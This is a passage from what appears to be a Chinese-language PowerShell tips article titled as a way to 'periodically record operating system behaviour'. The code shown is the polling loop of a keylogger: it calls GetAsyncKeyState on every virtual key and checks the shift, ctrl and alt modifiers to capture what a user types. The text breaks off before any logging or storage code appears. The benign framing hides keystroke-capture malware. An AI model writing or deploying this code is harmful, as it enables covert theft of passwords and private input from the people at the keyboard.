PowerShell小技巧之定时记录操作系统行为

                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                    {
                        $VirtualKey = $TypeableChar
                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                        #if the key is pressed
                        if (($KeyResult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000